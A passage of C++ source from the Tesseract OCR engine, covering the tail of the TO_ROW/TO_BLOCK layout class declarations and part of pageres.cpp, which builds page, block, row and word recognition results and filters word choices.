return y_min;
}
float mean_y() const {
return (y_min + y_max) / 2.0f;
}
float initial_min_y() const {
return initial_y_min;
}
float line_m() const { //access to line fit
return m;
}
float line_c() const {
return c;
}
float line_error() const {
return error;
}
float parallel_c() const {
return para_c;
}
float parallel_error() const {
return para_error;
}
float believability() const { //baseline goodness
return credibility;
}
float intercept() const { //real parallel_c
return y_origin;
}
void add_blob( //put in row
BLOBNBOX *blob, //blob to add
float top, //of row //target height
float bottom,
float row_size);
void insert_blob( //put in row in order
BLOBNBOX *blob);
BLOBNBOX_LIST *blob_list() { //get list
return &blobs;
}
void set_line( //set line spec
float new_m, //line to set
float new_c,
float new_error) {
m = new_m;
c = new_c;
error = new_error;
}
void set_parallel_line( //set fixed gradient line
float gradient, //page gradient
float new_c,
float new_error) {
para_c = new_c;
para_error = new_error;
credibility =
(float) (blobs.length () - kErrorWeight * new_error);
y_origin = (float) (new_c / sqrt (1 + gradient * gradient));
//real intercept
}
void set_limits( //set min,max
float new_min, //bottom and
float new_max) { //top of row
y_min = new_min;
y_max = new_max;
}
void compute_vertical_projection();
//get projection
bool rep_chars_marked() const {
return num_repeated_sets_ != -1;
}
void clear_rep_chars_marked() {
num_repeated_sets_ = -1;
}
int num_repeated_sets() const {
return num_repeated_sets_;
}
void set_num_repeated_sets(int num_sets) {
num_repeated_sets_ = num_sets;
}
// true when dead
BOOL8 merged;
BOOL8 all_caps; // had no ascenders
BOOL8 used_dm_model; // in guessing pitch
inT16 projection_left; // start of projection
inT16 projection_right; // start of projection
PITCH_TYPE pitch_decision; // how strong is decision
float fixed_pitch; // pitch or 0
float fp_space; // sp if fixed pitch
float fp_nonsp; // nonsp if fixed pitch
float pr_space; // sp if prop
float pr_nonsp; // non sp if prop
float spacing; // to "next" row
float xheight; // of line
int xheight_evidence; // number of blobs of height xheight
float ascrise; // ascenders
float descdrop; // descenders
float body_size; // of CJK characters. Assumed to be
// xheight+ascrise for non-CJK text.
inT32 min_space; // min size for real space
inT32 max_nonspace; // max size of non-space
inT32 space_threshold; // space vs nonspace
float kern_size; // average non-space
float space_size; // average space
WERD_LIST rep_words; // repeated chars
ICOORDELT_LIST char_cells; // fixed pitch cells
QSPLINE baseline; // curved baseline
STATS projection; // vertical projection
private:
void clear(); // clear all values to reasonable defaults
BLOBNBOX_LIST blobs; //blobs in row
float y_min; //coords
float y_max;
float initial_y_min;
float m, c; //line spec
float error; //line error
float para_c; //constrained fit
float para_error;
float y_origin; //rotated para_c;
float credibility; //baseline believability
int num_repeated_sets_; // number of sets of repeated blobs
// set to -1 if we have not searched
// for repeated blobs in this row yet
};
ELIST2IZEH (TO_ROW)
class TO_BLOCK:public ELIST_LINK
{
public:
TO_BLOCK() : pitch_decision(PITCH_DUNNO) {
clear();
} //empty
TO_BLOCK( //constructor
BLOCK *src_block); //real block
~TO_BLOCK();
void clear(); // clear all scalar members.
TO_ROW_LIST *get_rows() { //access function
return &row_list;
}
// Rotate all the blobnbox lists and the underlying block. Then update the
// median size statistic from the blobs list.
void rotate(const FCOORD& rotation) {
BLOBNBOX_LIST* blobnbox_list[] = {&blobs, &underlines, &noise_blobs,
&small_blobs, &large_blobs, NULL};
for (BLOBNBOX_LIST** list = blobnbox_list; *list != NULL; ++list) {
BLOBNBOX_IT it(*list);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
it.data()->rotate(rotation);
}
}
// Rotate the block
ASSERT_HOST(block->poly_block() != NULL);
block->rotate(rotation);
// Update the median size statistic from the blobs list.
STATS widths(0, block->bounding_box().width());
STATS heights(0, block->bounding_box().height());
BLOBNBOX_IT blob_it(&blobs);
for (blob_it.mark_cycle_pt(); !blob_it.cycled_list(); blob_it.forward()) {
widths.add(blob_it.data()->bounding_box().width(), 1);
heights.add(blob_it.data()->bounding_box().height(), 1);
}
block->set_median_size(static_cast<int>(widths.median() + 0.5),
static_cast<int>(heights.median() + 0.5));
}
void print_rows() { //debug info
TO_ROW_IT row_it = &row_list;
TO_ROW *row;
for (row_it.mark_cycle_pt(); !row_it.cycled_list();
row_it.forward()) {
row = row_it.data();
tprintf("Row range (%g,%g), para_c=%g, blobcount=" INT32FORMAT
"\n", row->min_y(), row->max_y(), row->parallel_c(),
row->blob_list()->length());
}
}
// Reorganizes the blob lists with a different definition of small, medium
// and large, compared to the original definition.
// Height is still the primary filter key, but medium width blobs of small
// height become medium, and very wide blobs of small height stay small.
void ReSetAndReFilterBlobs();
// Deletes noise blobs from all lists where not owned by a ColPartition.
void DeleteUnownedNoise();
// Computes and stores the edge offsets on each blob for use in feature
// extraction, using greyscale if the supplied grey and thresholds pixes
// are 8-bit or otherwise (if NULL or not 8 bit) the original binary
// edge step outlines.
// Thresholds must either be the same size as grey or an integer down-scale
// of grey.
// See coutln.h for an explanation of edge offsets.
void ComputeEdgeOffsets(Pix* thresholds, Pix* grey);
#ifndef GRAPHICS_DISABLED
// Draw the noise blobs from all lists in red.
void plot_noise_blobs(ScrollView* to_win);
// Draw the blobs on on the various lists in the block in different colors.
void plot_graded_blobs(ScrollView* to_win);
#endif
BLOBNBOX_LIST blobs; //medium size
BLOBNBOX_LIST underlines; //underline blobs
BLOBNBOX_LIST noise_blobs; //very small
BLOBNBOX_LIST small_blobs; //fairly small
BLOBNBOX_LIST large_blobs; //big blobs
BLOCK *block; //real block
PITCH_TYPE pitch_decision; //how strong is decision
float line_spacing; //estimate
// line_size is a lower-bound estimate of the font size in pixels of
// the text in the block (with ascenders and descenders), being a small
// (1.25) multiple of the median height of filtered blobs.
// In most cases the font size will be bigger, but it will be closer
// if the text is allcaps, or in a no-x-height script.
float line_size; //estimate
float max_blob_size; //line assignment limit
float baseline_offset; //phase shift
float xheight; //median blob size
float fixed_pitch; //pitch or 0
float kern_size; //average non-space
float space_size; //average space
inT32 min_space; //min definite space
inT32 max_nonspace; //max definite
float fp_space; //sp if fixed pitch
float fp_nonsp; //nonsp if fixed pitch
float pr_space; //sp if prop
float pr_nonsp; //non sp if prop
TO_ROW *key_row; //starting row
private:
TO_ROW_LIST row_list; //temporary rows
};
ELISTIZEH (TO_BLOCK)
extern double_VAR_H (textord_error_weight, 3,
"Weighting for error in believability");
void find_cblob_limits( //get y limits
C_BLOB *blob, //blob to search
float leftx, //x limits
float rightx,
FCOORD rotation, //for landscape
float &ymin, //output y limits
float &ymax);
void find_cblob_vlimits( //get y limits
C_BLOB *blob, //blob to search
float leftx, //x limits
float rightx,
float &ymin, //output y limits
float &ymax);
void find_cblob_hlimits( //get x limits
C_BLOB *blob, //blob to search
float bottomy, //y limits
float topy,
float &xmin, //output x limits
float &xymax);
C_BLOB *crotate_cblob( //rotate it
C_BLOB *blob, //blob to search
FCOORD rotation //for landscape
);
TBOX box_next( //get bounding box
BLOBNBOX_IT *it //iterator to blobds
);
TBOX box_next_pre_chopped( //get bounding box
BLOBNBOX_IT *it //iterator to blobds
);
void vertical_cblob_projection( //project outlines
C_BLOB *blob, //blob to project
STATS *stats //output
);
void vertical_coutline_projection( //project outlines
C_OUTLINE *outline, //outline to project
STATS *stats //output
);
#ifndef GRAPHICS_DISABLED
void plot_blob_list(ScrollView* win, // window to draw in
BLOBNBOX_LIST *list, // blob list
ScrollView::Color body_colour, // colour to draw
ScrollView::Color child_colour); // colour of child
#endif // GRAPHICS_DISABLED
#endif
| C++ |
/**********************************************************************
* File: pageres.cpp (Formerly page_res.c)
* Description: Results classes used by control.c
* Author: Phil Cheatle
* Created: Tue Sep 22 08:42:49 BST 1992
*
* (C) Copyright 1992, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <stdlib.h>
#ifdef __UNIX__
#include <assert.h>
#endif
#include "blamer.h"
#include "pageres.h"
#include "blobs.h"
ELISTIZE (BLOCK_RES)
CLISTIZE (BLOCK_RES) ELISTIZE (ROW_RES) ELISTIZE (WERD_RES)
// Gain factor for computing thresholds that determine the ambiguity of a word.
static const double kStopperAmbiguityThresholdGain = 8.0;
// Constant offset for computing thresholds that determine the ambiguity of a
// word.
static const double kStopperAmbiguityThresholdOffset = 1.5;
// Max number of broken pieces to associate.
const int kWordrecMaxNumJoinChunks = 4;
// Max ratio of word box height to line size to allow it to be processed as
// a line with other words.
const double kMaxWordSizeRatio = 1.25;
// Max ratio of line box height to line size to allow a new word to be added.
const double kMaxLineSizeRatio = 1.25;
// Max ratio of word gap to line size to allow a new word to be added.
const double kMaxWordGapRatio = 2.0;
// Computes and returns a threshold of certainty difference used to determine
// which words to keep, based on the adjustment factors of the two words.
// TODO(rays) This is horrible. Replace with an enhance params training model.
static double StopperAmbigThreshold(double f1, double f2) {
return (f2 - f1) * kStopperAmbiguityThresholdGain -
kStopperAmbiguityThresholdOffset;
}
/*************************************************************************
* PAGE_RES::PAGE_RES
*
* Constructor for page results
*************************************************************************/
PAGE_RES::PAGE_RES(
bool merge_similar_words,
BLOCK_LIST *the_block_list,
WERD_CHOICE **prev_word_best_choice_ptr) {
Init();
BLOCK_IT block_it(the_block_list);
BLOCK_RES_IT block_res_it(&block_res_list);
for (block_it.mark_cycle_pt();
!block_it.cycled_list(); block_it.forward()) {
block_res_it.add_to_end(new BLOCK_RES(merge_similar_words,
block_it.data()));
}
prev_word_best_choice = prev_word_best_choice_ptr;
}
/*************************************************************************
* BLOCK_RES::BLOCK_RES
*
* Constructor for BLOCK results
*************************************************************************/
BLOCK_RES::BLOCK_RES(bool merge_similar_words, BLOCK *the_block) {
ROW_IT row_it (the_block->row_list ());
ROW_RES_IT row_res_it(&row_res_list);
char_count = 0;
rej_count = 0;
font_class = -1; //not assigned
x_height = -1.0;
font_assigned = FALSE;
bold = FALSE;
italic = FALSE;
row_count = 0;
block = the_block;
for (row_it.mark_cycle_pt(); !row_it.cycled_list(); row_it.forward()) {
row_res_it.add_to_end(new ROW_RES(merge_similar_words, row_it.data()));
}
}
/*************************************************************************
* ROW_RES::ROW_RES
*
* Constructor for ROW results
*************************************************************************/
ROW_RES::ROW_RES(bool merge_similar_words, ROW *the_row) {
WERD_IT word_it(the_row->word_list());
WERD_RES_IT word_res_it(&word_res_list);
WERD_RES *combo = NULL; // current combination of fuzzies
WERD *copy_word;
char_count = 0;
rej_count = 0;
whole_word_rej_count = 0;
row = the_row;
bool add_next_word = false;
TBOX union_box;
float line_height = the_row->x_height() + the_row->ascenders() -
the_row->descenders();
for (word_it.mark_cycle_pt(); !word_it.cycled_list(); word_it.forward()) {
WERD_RES* word_res = new WERD_RES(word_it.data());
word_res->x_height = the_row->x_height();
if (add_next_word) {
ASSERT_HOST(combo != NULL);
// We are adding this word to the combination.
word_res->part_of_combo = TRUE;
combo->copy_on(word_res);
} else if (merge_similar_words) {
union_box = word_res->word->bounding_box();
add_next_word = !word_res->word->flag(W_REP_CHAR) &&
union_box.height() <= line_height * kMaxWordSizeRatio;
word_res->odd_size = !add_next_word;
}
WERD* next_word = word_it.data_relative(1);
if (merge_similar_words) {
if (add_next_word && !next_word->flag(W_REP_CHAR)) {
// Next word will be added on if all of the following are true:
// Not a rep char.
// Box height small enough.
// Union box height small enough.
// Horizontal gap small enough.
TBOX next_box = next_word->bounding_box();
int prev_right = union_box.right();
union_box += next_box;
if (next_box.height() > line_height * kMaxWordSizeRatio ||
union_box.height() > line_height * kMaxLineSizeRatio ||
next_box.left() > prev_right + line_height * kMaxWordGapRatio) {
add_next_word = false;
}
}
} else {
add_next_word = next_word->flag(W_FUZZY_NON);
}
if (add_next_word) {
if (combo == NULL) {
copy_word = new WERD;
*copy_word = *(word_it.data()); // deep copy
combo = new WERD_RES(copy_word);
combo->x_height = the_row->x_height();
combo->combination = TRUE;
word_res_it.add_to_end(combo);
}
word_res->part_of_combo = TRUE;
} else {
combo = NULL;
}
word_res_it.add_to_end(word_res);
}
}
WERD_RES& WERD_RES::operator=(const WERD_RES & source) {
this->ELIST_LINK::operator=(source);
Clear();
if (source.combination) {
word = new WERD;
*word = *(source.word); // deep copy
} else {
word = source.word; // pt to same word
}
if (source.bln_boxes != NULL)
bln_boxes = new tesseract::BoxWord(*source.bln_boxes);
if (source.chopped_word != NULL)
chopped_word = new TWERD(*source.chopped_word);
if (source.rebuild_word != NULL)
rebuild_word = new TWERD(*source.rebuild_word);
// TODO(rays) Do we ever need to copy the seam_array?
blob_row = source.blob_row;
denorm = source.denorm;
if (source.box_word != NULL)
box_word = new tesseract::BoxWord(*source.box_word);
best_state = source.best_state;
correct_text = source.correct_text;
blob_widths = source.blob_widths;
blob_gaps = source.blob_gaps;
// None of the uses of operator= require the ratings matrix to be copied,
// so don't as it would be really slow.
// Copy the cooked choices.
WERD_CHOICE_IT wc_it(const_cast<WERD_CHOICE_LIST*>(&source.best_choices));
WERD_CHOICE_IT wc_dest_it(&best_choices);
for (wc_it.mark_cycle_pt(); !wc_it.cycled_list(); wc_it.forward()) {
const WERD_CHOICE *choice = wc_it.data();
wc_dest_it.add_after_then_move(new WERD_CHOICE(*choice));
}
if (!wc_dest_it.empty()) {
wc_dest_it.move_to_first();
best_choice = wc_dest_it.data();
best_choice_fontinfo_ids = source.best_choice_fontinfo_ids;
} else {
best_choice = NULL;
if (!best_choice_fontinfo_ids.empty()) {
best_choice_fontinfo_ids.clear();
}
}
if (source.raw_choice != NULL) {
raw_choice = new WERD_CHOICE(*source.raw_choice);
} else {
raw_choice = NULL;
}
if (source.ep_choice != NULL) {
ep_choice = new WERD_CHOICE(*source.ep_choice);
} else {
ep_choice = NULL;
}
reject_map = source.reject_map;
combination = source.combination;
part_of_combo = source.part_of_combo;
CopySimpleFields(source);
if (source.blamer_bundle != NULL) {
blamer_bundle = new BlamerBundle(*(source.blamer_bundle));
}
return *this;
}
// Copies basic fields that don't involve pointers that might be useful
// to copy when making one WERD_RES from another.
void WERD_RES::CopySimpleFields(const WERD_RES& source) {
tess_failed = source.tess_failed;
tess_accepted = source.tess_accepted;
tess_would_adapt = source.tess_would_adapt;
done = source.done;
unlv_crunch_mode = source.unlv_crunch_mode;
small_caps = source.small_caps;
odd_size = source.odd_size;
italic = source.italic;
bold = source.bold;
fontinfo = source.fontinfo;
fontinfo2 = source.fontinfo2;
fontinfo_id_count = source.fontinfo_id_count;
fontinfo_id2_count = source.fontinfo_id2_count;
x_height = source.x_height;
caps_height = source.caps_height;
guessed_x_ht = source.guessed_x_ht;
guessed_caps_ht = source.guessed_caps_ht;
reject_spaces = source.reject_spaces;
uch_set = source.uch_set;
tesseract = source.tesseract;
}
// Initializes a blank (default constructed) WERD_RES from one that has
// already been recognized.
// Use SetupFor*Recognition afterwards to complete the setup and make
// it ready for a retry recognition.
void WERD_RES::InitForRetryRecognition(const WERD_RES& source) {
word = source.word;
CopySimpleFields(source);
if (source.blamer_bundle != NULL) {
blamer_bundle = new BlamerBundle();
blamer_bundle->CopyTruth(*source.blamer_bundle);
}
}
// Sets up the members used in recognition: bln_boxes, chopped_word,
// seam_array, denorm. Returns false if
// the word is empty and sets up fake results. If use_body_size is
// true and row->body_size is set, then body_size will be used for
// blob normalization instead of xheight + ascrise. This flag is for
// those languages that are using CJK pitch model and thus it has to
// be true if and only if tesseract->textord_use_cjk_fp_model is
// true.
// If allow_detailed_fx is true, the feature extractor will receive fine
// precision outline information, allowing smoother features and better
// features on low resolution images.
// The norm_mode_hint sets the default mode for normalization in absence
// of any of the above flags.
// norm_box is used to override the word bounding box to determine the
// normalization scale and offset.
// Returns false if the word is empty and sets up fake results.
bool WERD_RES::SetupForRecognition(const UNICHARSET& unicharset_in,
tesseract::Tesseract* tess, Pix* pix,
int norm_mode,
const TBOX* norm_box,
bool numeric_mode,
bool use_body_size,
bool allow_detailed_fx,
ROW *row, const BLOCK* block) {
tesseract::OcrEngineMode norm_mode_hint =
static_cast<tesseract::OcrEngineMode>(norm_mode);
tesseract = tess;
POLY_BLOCK* pb = block != NULL ? block->poly_block() : NULL;
if ((norm_mode_hint != tesseract::OEM_CUBE_ONLY &&
word->cblob_list()->empty()) || (pb != NULL && !pb->IsText())) {
// Empty words occur when all the blobs have been moved to the rej_blobs
// list, which seems to occur frequently in junk.
SetupFake(unicharset_in);
word->set_flag(W_REP_CHAR, false);
return false;
}
ClearResults();
SetupWordScript(unicharset_in);
chopped_word = TWERD::PolygonalCopy(allow_detailed_fx, word);
float word_xheight = use_body_size && row != NULL && row->body_size() > 0.0f
? row->body_size() : x_height;
chopped_word->BLNormalize(block, row, pix, word->flag(W_INVERSE),
word_xheight, numeric_mode, norm_mode_hint,
norm_box, &denorm);
blob_row = row;
SetupBasicsFromChoppedWord(unicharset_in);
SetupBlamerBundle();
int num_blobs = chopped_word->NumBlobs();
ratings = new MATRIX(num_blobs, kWordrecMaxNumJoinChunks);
tess_failed = false;
return true;
}
// Set up the seam array, bln_boxes, best_choice, and raw_choice to empty
// accumulators from a made chopped word. We presume the fields are already
// empty.
void WERD_RES::SetupBasicsFromChoppedWord(const UNICHARSET &unicharset_in) {
bln_boxes = tesseract::BoxWord::CopyFromNormalized(chopped_word);
start_seam_list(chopped_word, &seam_array);
SetupBlobWidthsAndGaps();
ClearWordChoices();
}
// Sets up the members used in recognition for an empty recognition result:
// bln_boxes, chopped_word, seam_array, denorm, best_choice, raw_choice.
void WERD_RES::SetupFake(const UNICHARSET& unicharset_in) {
ClearResults();
SetupWordScript(unicharset_in);
chopped_word = new TWERD;
rebuild_word = new TWERD;
bln_boxes = new tesseract::BoxWord;
box_word = new tesseract::BoxWord;
int blob_count = word->cblob_list()->length();
if (blob_count > 0) {
BLOB_CHOICE** fake_choices = new BLOB_CHOICE*[blob_count];
// For non-text blocks, just pass any blobs through to the box_word
// and call the word failed with a fake classification.
C_BLOB_IT b_it(word->cblob_list());
int blob_id = 0;
for (b_it.mark_cycle_pt(); !b_it.cycled_list(); b_it.forward()) {
TBOX box = b_it.data()->bounding_box();
box_word->InsertBox(box_word->length(), box);
fake_choices[blob_id++] = new BLOB_CHOICE;
}
FakeClassifyWord(blob_count, fake_choices);
delete [] fake_choices;
} else {
WERD_CHOICE* word = new WERD_CHOICE(&unicharset_in);
word->make_bad();
LogNewRawChoice(word);
// Ownership of word is taken by *this WERD_RES in LogNewCookedChoice.
LogNewCookedChoice(1, false, word);
}
tess_failed = true;
}
void WERD_RES::SetupWordScript(const UNICHARSET& uch) {
uch_set = &uch;
int script = uch.default_sid();
word->set_script_id(script);
word->set_flag(W_SCRIPT_HAS_XHEIGHT, uch.script_has_xheight());
word->set_flag(W_SCRIPT_IS_LATIN, script == uch.latin_sid());
}
// Sets up the blamer_bundle if it is not null, using the initialized denorm.
void WERD_RES::SetupBlamerBundle() {
if (blamer_bundle != NULL) {
blamer_bundle->SetupNormTruthWord(denorm);
}
}
// Computes the blob_widths and blob_gaps from the chopped_word.
void WERD_RES::SetupBlobWidthsAndGaps() {
blob_widths.truncate(0);
blob_gaps.truncate(0);
int num_blobs = chopped_word->NumBlobs();
for (int b = 0; b < num_blobs; ++b) {
TBLOB *blob = chopped_word->blobs[b];
TBOX box = blob->bounding_box();
blob_widths.push_back(box.width());
if (b + 1 < num_blobs) {
blob_gaps.push_back(
chopped_word->blobs[b + 1]->bounding_box().left() - box.right());
}
}
}
// Updates internal data to account for a new SEAM (chop) at the given
// blob_number. Fixes the ratings matrix and states in the choices, as well
// as the blob widths and gaps.
void WERD_RES::InsertSeam(int blob_number, SEAM* seam) {
// Insert the seam into the SEAMS array.
insert_seam(chopped_word, blob_number, seam, &seam_array);
if (ratings != NULL) {
// Expand the ratings matrix.
ratings = ratings->ConsumeAndMakeBigger(blob_number);
// Fix all the segmentation states.
if (raw_choice != NULL)
raw_choice->UpdateStateForSplit(blob_number);
WERD_CHOICE_IT wc_it(&best_choices);
for (wc_it.mark_cycle_pt(); !wc_it.cycled_list(); wc_it.forward()) {
WERD_CHOICE* choice = wc_it.data();
choice->UpdateStateForSplit(blob_number);
}
SetupBlobWidthsAndGaps();
}
}
// Returns true if all the word choices except the first have adjust_factors
// worse than the given threshold.
bool WERD_RES::AlternativeChoiceAdjustmentsWorseThan(float threshold) const {
// The choices are not changed by this iteration.
WERD_CHOICE_IT wc_it(const_cast<WERD_CHOICE_LIST*>(&best_choices));
for (wc_it.forward(); !wc_it.at_first(); wc_it.forward()) {
WERD_CHOICE* choice = wc_it.data();
if (choice->adjust_factor() <= threshold)
return false;
}
return true;
}
// Returns true if the current word is ambiguous (by number of answers or
// by dangerous ambigs.)
bool WERD_RES::IsAmbiguous() {
return !best_choices.singleton() || best_choice->dangerous_ambig_found();
}
// Returns true if the ratings matrix size matches the sum of each of the
// segmentation states.
bool WERD_RES::StatesAllValid() {
int ratings_dim = ratings->dimension();
if (raw_choice->TotalOfStates() != ratings_dim) {
tprintf("raw_choice has total of states = %d vs ratings dim of %d\n",
raw_choice->TotalOfStates(), ratings_dim);
return false;
}
WERD_CHOICE_IT it(&best_choices);
int index = 0;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward(), ++index) {
WERD_CHOICE* choice = it.data();
if (choice->TotalOfStates() != ratings_dim) {
tprintf("Cooked #%d has total of states = %d vs ratings dim of %d\n",
choice->TotalOfStates(), ratings_dim);
return false;
}
}
return true;
}
// Prints a list of words found if debug is true or the word result matches
// the word_to_debug.
void WERD_RES::DebugWordChoices(bool debug, const char* word_to_debug) {
if (debug ||
(word_to_debug != NULL && *word_to_debug != '\0' && best_choice != NULL &&
best_choice->unichar_string() == STRING(word_to_debug))) {
if (raw_choice != NULL)
raw_choice->print("\nBest Raw Choice");
WERD_CHOICE_IT it(&best_choices);
int index = 0;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward(), ++index) {
WERD_CHOICE* choice = it.data();
STRING label;
label.add_str_int("\nCooked Choice #", index);
choice->print(label.string());
}
}
}
// Prints the top choice along with the accepted/done flags.
void WERD_RES::DebugTopChoice(const char* msg) const {
tprintf("Best choice: accepted=%d, adaptable=%d, done=%d : ",
tess_accepted, tess_would_adapt, done);
if (best_choice == NULL)
tprintf("<Null choice>\n");
else
best_choice->print(msg);
}
// Removes from best_choices all choices which are not within a reasonable
// range of the best choice.
// TODO(rays) incorporate the information used here into the params training
// re-ranker, in place of this heuristic that is based on the previous
// adjustment factor.
void WERD_RES::FilterWordChoices(int debug_level) {
if (best_choice == NULL || best_choices.singleton())
return;
if (debug_level >= 2)
best_choice->print("\nFiltering against best choice");
WERD_CHOICE_IT it(&best_choices);
int index = 0;
for (it.forward(); !it.at_first(); it.forward(), ++index) {
WERD_CHOICE* choice = it.data();
float threshold = StopperAmbigThreshold(best_choice->adjust_factor(),
choice->adjust_factor());
// i, j index the blob choice in choice, best_choice.
// chunk is an index into the chopped_word blobs (AKA chunks).
// Since the two words may use different segmentations of the chunks, we
// iterate over the chunks to find out whether a comparable blob
// classification is much worse than the best result.
int i = 0, j = 0, chunk = 0;
// Each iteration of the while deals with 1 chunk. On entry choice_chunk
// and best_chunk are the indices of the first chunk in the NEXT blob,
// i.e. we don't have to increment i, j while chunk < choice_chunk and
// best_chunk respectively.
int choice_chunk = choice->state(0), best_chunk = best_choice->state(0);
while (i < choice->length() && j < best_choice->length()) {
if (choice->unichar_id(i) != best_choice->unichar_id(j) &&
choice->certainty(i) - best_choice->certainty(j) < threshold) {
if (debug_level >= 2) {
STRING label;
label.add_str_int("\nDiscarding bad choice #", index);
choice->print(label.string());
tprintf("i %d j %d Chunk %d Choice->Blob[i].Certainty %.4g"
" BestChoice->ChunkCertainty[Chunk] %g Threshold %g\n",
i, j, chunk, choice->certainty(i),
best_choice->certainty(j), threshold);
}
delete it.extract();
break;
}
++chunk;
// If needed, advance choice_chunk to keep up with chunk.
while (choice_chunk < chunk && ++i < choice->length())
choice_chunk += choice->state(i);
// If needed, advance best_chunk to keep up with chunk.
while (best_chunk < chunk && ++j < best_choice->length())
best_chunk += best_choice->state(j);
}
}
}
void WERD_RES::ComputeAdaptionThresholds(float certainty_scale,
float min_rating,
float max_rating,
float rating_margin,
float* thresholds) {
int chunk = 0;
int end_chunk = best_choice->state(0);
int end_raw_chunk = raw_choice->state(0);
int raw_blob = 0;
for (int i = 0; i < best_choice->length(); i++, thresholds++) {
float avg_rating = 0.0f;
int num_error_chunks = 0;
// For each chunk in best choice blob i, count non-matching raw results.
while (chunk < end_chunk) {
if (chunk >= end_raw_chunk) {
++raw_blob;
end_raw_chunk += raw_choice->state(raw_blob);
}
if (best_choice->unichar_id(i) !=
raw_choice->unichar_id(raw_blob)) {
avg_rating += raw_choice->certainty(raw_blob);
++num_error_chunks;
}
++chunk;
}
if (num_error_chunks > 0) {
avg_rating /= num_error_chunks;
*thresholds = (avg_rating / -certainty_scale) * (1.0 - rating_margin);
} else {
*thresholds = max_rating;
}
if (*thresholds > max_rating)
*thresholds = max_rating;
if (*thresholds < min_rating)
*thresholds = min_rating;
}
}
// Saves a copy of the word_choice if it has the best unadjusted rating.
// Returns true if the word_choice was the new best.
bool WERD_RES::LogNewRawChoice(WERD_CHOICE* word_choice) {
if (raw_choice == NULL || word_choice->rating() < raw_choice->rating()) {
delete raw_choice;
raw_choice = new WERD_CHOICE(*word_choice);
raw_choice->set_permuter(TOP_CHOICE_PERM);
return true;
}
return false;
}
// Consumes word_choice by adding it to best_choices, (taking ownership) if
// the certainty for word_choice is some distance of the best choice in
// best_choices, or by deleting the word_choice and returning false.
// The best_choices list is kept in sorted order by rating. Duplicates are
// removed, and the list is kept no longer than max_num_choices in length.
// Returns true if the word_choice is still a valid pointer.
bool WERD_RES::LogNewCookedChoice(int max_num_choices, bool debug,
WERD_CHOICE* word_choice) {
if (best_choice != NULL) {
// Throw out obviously bad choices to save some work.
// TODO(rays) Get rid of this! This piece of code produces different
// results according to the order in which words are found, which is an
// undesirable behavior. It would be better to keep all the choices and
// prune them later when more information is available.
float max_certainty_delta =
StopperAmbigThreshold(best_choice->adjust_factor(),
word_choice->adjust_factor());
if (max_certainty_delta > -kStopperAmbiguityThresholdOffset)
max_certainty_delta = -kStopperAmbiguityThresholdOffset;
if (word_choice->certainty() - best_choice->certainty() <
max_certainty_delta) {
if (debug) {
STRING bad_string;
word_choice->string_and_lengths(&bad_string, NULL);
tprintf("Discarding choice \"%s\" with an overly low certainty"
" %.3f vs best choice certainty %.3f (Threshold: %.3f)\n",
bad_string.string(), word_choice->certainty(),
best_choice->certainty(),
max_certainty_delta + best_choice->certainty());
}
delete word_choice;
return false;
}
}
// Insert in the list in order of increasing rating, but knock out worse
// string duplicates.
WERD_CHOICE_IT it(&best_choices);
const STRING& new_str = word_choice->unichar_string();
bool inserted = false;
int num_choices = 0;
if (!it.empty()) {
do {
WERD_CHOICE* choice = it.data();
if (choice->rating() > word_choice->rating() && !inserted) {
// Time to insert.
it.add_before_stay_put(word_choice);
inserted = true;
if (num_choices == 0)
best_choice = word_choice; // This is the new best.
++num_choices;
}
if (choice->unichar_string() == new_str) {
if (inserted) {
// New is better.
delete it.extract();
} else {
// Old is better.
if (debug) {
tprintf("Discarding duplicate choice \"%s\", rating %g vs %g\n",
new_str.string(), word_choice->rating(), choice->rating());
}
delete word_choice;
return false;
}
} else {
++num_choices;
if (num_choices > max_num_choices)
delete it.extract();
}
it.forward();
} while (!it.at_first());
}
if (!inserted && num_choices < max_num_choices) {
it.add_to_end(word_choice);
inserted = true;
if (num_choices == 0)
best_choice = word_choice; // This is the new best.
}
if (debug) {
if (inserted)
tprintf("New %s", best_choice == word_choice ? "Best" : "Secondary");
else
tprintf("Poor");
word_choice->print(" Word Choice");
}
if (!inserted) {
delete word_choice;
return false;
}
return true;
}
// Simple helper moves the ownership of the pointer data from src to dest,
// first deleting anything in dest, and nulling out src afterwards.
template<class T> static void MovePointerData(T** dest, T**src) {
delete *dest;
*dest = *src;
*src = NULL;
}
// Prints a brief list of all the best choices.
void WERD_RES::PrintBestChoices() const {
STRING alternates_str;
WERD_CHOICE_IT it(const_cast<WERD_CHOICE_LIST*>(&best_choices));
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
if (!it.at_first()) alternates_str += "\", \"";
alternates_str += it.data()->unichar_string();
}
tprintf("Alternates for \"%s\": {\"%s\"}\n",
best_choice->unichar_string().string(), alternates_str.string());
}
// Returns the sum of the widths of the blob between start_blob and last_blob
// inclusive.
int WERD_RES::GetBlobsWidth(int start_blob, int last_blob) {
int result = 0;
for (int b = start_blob; b <= last_blob; ++b) {
result += blob_widths[b];
if (b < last_blob)
result += blob_gaps[b];
}
return result;
}
// Returns the width of a gap between the specified blob and the next one.
int WERD_RES::GetBlobsGap(int blob_index) {
if (blob_index < 0 || blob_index >= blob_gaps.size())
return 0;
return blob_gaps[blob_index];
}
// Returns the BLOB_CHOICE corresponding to the given index in the
// best choice word taken from the appropriate cell in the ratings MATRIX.
// Borrowed pointer, so do not delete. May return NULL if there is no
// BLOB_CHOICE matching the unichar_id at the given index.
BLOB_CHOICE* WERD_RES::GetBlobChoice(int index) const {
if (index < 0 || index >= best_choice->length()) return NULL;
BLOB_CHOICE_LIST* choices = GetBlobChoices(index);
return FindMatchingChoice(best_choice->unichar_id(index), choices);
}
// Returns the BLOB_CHOICE_LIST corresponding to the given index in the
// best choice word taken from the appropriate cell in the ratings MATRIX.
// Borrowed pointer, so do not delete.
BLOB_CHOICE_LIST* WERD_RES::GetBlobChoices(int index) const {
return best_choice->blob_choices(index, ratings);
}
// Moves the results fields from word to this. This takes ownership of all
// the data, so src can be destructed.
void WERD_RES::ConsumeWordResults(WERD_RES* word) {
